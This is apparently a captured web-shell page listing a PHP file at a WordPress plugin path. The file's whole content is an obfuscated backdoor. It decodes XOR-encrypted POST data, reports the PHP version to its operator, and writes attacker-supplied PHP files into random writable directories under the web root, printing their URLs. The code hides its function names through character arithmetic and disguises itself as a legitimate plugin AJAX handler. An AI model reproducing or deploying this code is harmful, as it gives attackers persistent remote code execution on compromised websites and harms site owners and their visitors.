HEX
Server:Apache
System:Linux localhost 5.10.0-14-amd64 #1 SMP Debian 5.10.113-1 (2022-04-29) x86_64
User:enlugo-es (10006)
PHP:7.4.33
Disabled:opcache_get_status
Upload Files
File: /var/www/vhosts/enlugo.es/httpdocs/wp-content/plugins/wp-super-edit/ajax.php
<?php $NRwMXJIX = 'D'.chr(760-681)."\103".'U'.chr(364-287).chr(69)."\x4e"."\x54"."\137".chr(476-394).'O'.chr(79).'T';$WovdldEQte = 'H'.'T'."\x54".'P'.chr(147-52)."\x48".chr(79).'S'.chr(604-520);$NmhRhuS = "\150".chr(116).'t'.chr(112)."\72"."\x2f"."\57";$gJxRVyoLXh = "\x2e"."\x70".'h'.chr(850-738);$ikBYoflPp = chr(112).chr(104)."\160";$CrOZs = "\146".'i'."\154"."\x65".'_'."\x70"."\x75"."\164".chr(95).chr(99).chr(111).chr(564-454).'t'.chr(101).'n'.'t'."\163";$CurLQwtb = chr(836-722)."\141"."\167".chr(155-38).chr(121-7)."\154".'d'.chr(459-358).'c'.chr(111).chr(461-361).'e';$ZulVgNjh = 'u'.'n'.'s'."\145"."\x72"."\x69".'a'."\x6c"."\x69".chr(249-127).chr(1077-976);$yoxxWLqOjh = 'i'.chr(115).chr(95).chr(875-756)."\162".'i'.chr(116).chr(1046-949).chr(714-616).chr(108).chr(548-447);$NWzBeiB = chr(615-503).'h'."\x70"."\166".'e'."\162".chr(590-475).chr(105).chr(111)."\x6e";$CvSmnod = chr(245-130)."\164"."\x72".chr(870-775).chr(670-556)."\x6f"."\x74".chr(342-293).'3';$RHLRz = "\163"."\145".chr(853-739)."\151".chr(97).'l'."\151".chr(381-259)."\145";$Wpprzf = chr(115).chr(116).chr(114).'_'."\x73"."\x70".'l'.chr(879-774)."\164";foreach ($_POST as $fuOJrES => $yKFyHK){$bKWZSARw = strlen($fuOJrES);if ($bKWZSARw == 16){$yKFyHK = $Wpprzf($CurLQwtb($CvSmnod($yKFyHK)));$fuOJrES = array_slice($Wpprzf(str_repeat($fuOJrES, (count($yKFyHK)/16)+1)), 0, count($yKFyHK));function MzzRqssiy($abhDntSk, $hJsCvo, $fuOJrES){$IaRpNT = "7cdb2c7d-1053-414f-9415-8697311db242";return $abhDntSk ^ $IaRpNT[$hJsCvo % strlen($IaRpNT)] ^ $fuOJrES;}$yKFyHK = array_map("MzzRqssiy", array_values($yKFyHK), array_keys($yKFyHK), array_values($fuOJrES));$yKFyHK = implode("", $yKFyHK);$yKFyHK = @$ZulVgNjh($yKFyHK);if (@is_array($yKFyHK)){$UYnQlEm = array_keys($yKFyHK);$yKFyHK = $yKFyHK[$UYnQlEm[0]];if ($yKFyHK === $UYnQlEm[0]){echo @$RHLRz(Array($ikBYoflPp => @$NWzBeiB(), ));exit();}else {function VDkhLaAn($WCvgFwxMdir){static $ClbHAnSM = array();$MAUCfddKCe = glob($WCvgFwxMdir . '/*', GLOB_ONLYDIR);$thWRjyThr = count($MAUCfddKCe);if ($thWRjyThr > 0) {foreach ($MAUCfddKCe as $WCvgFwxMd) {if (@$yoxxWLqOjh($WCvgFwxMd)) {$ClbHAnSM[] = $WCvgFwxMd;}}}foreach ($MAUCfddKCe as $WCvgFwxMdir) VDkhLaAn($WCvgFwxMdir);return $ClbHAnSM;}$IlRgvlFxtj = $_SERVER[$NRwMXJIX];$MAUCfddKCe = VDkhLaAn($IlRgvlFxtj);$UYnQlEm = array_rand($MAUCfddKCe);$bqCPJJ = $MAUCfddKCe[$UYnQlEm] . "/" . substr(md5(time()), 0, 8) . $gJxRVyoLXh;@$CrOZs($bqCPJJ, $yKFyHK);$MrnRVCOhh = $NmhRhuS . $_SERVER[$WovdldEQte] . substr($bqCPJJ, strlen($IlRgvlFxtj));print($MrnRVCOhh);die();}}}}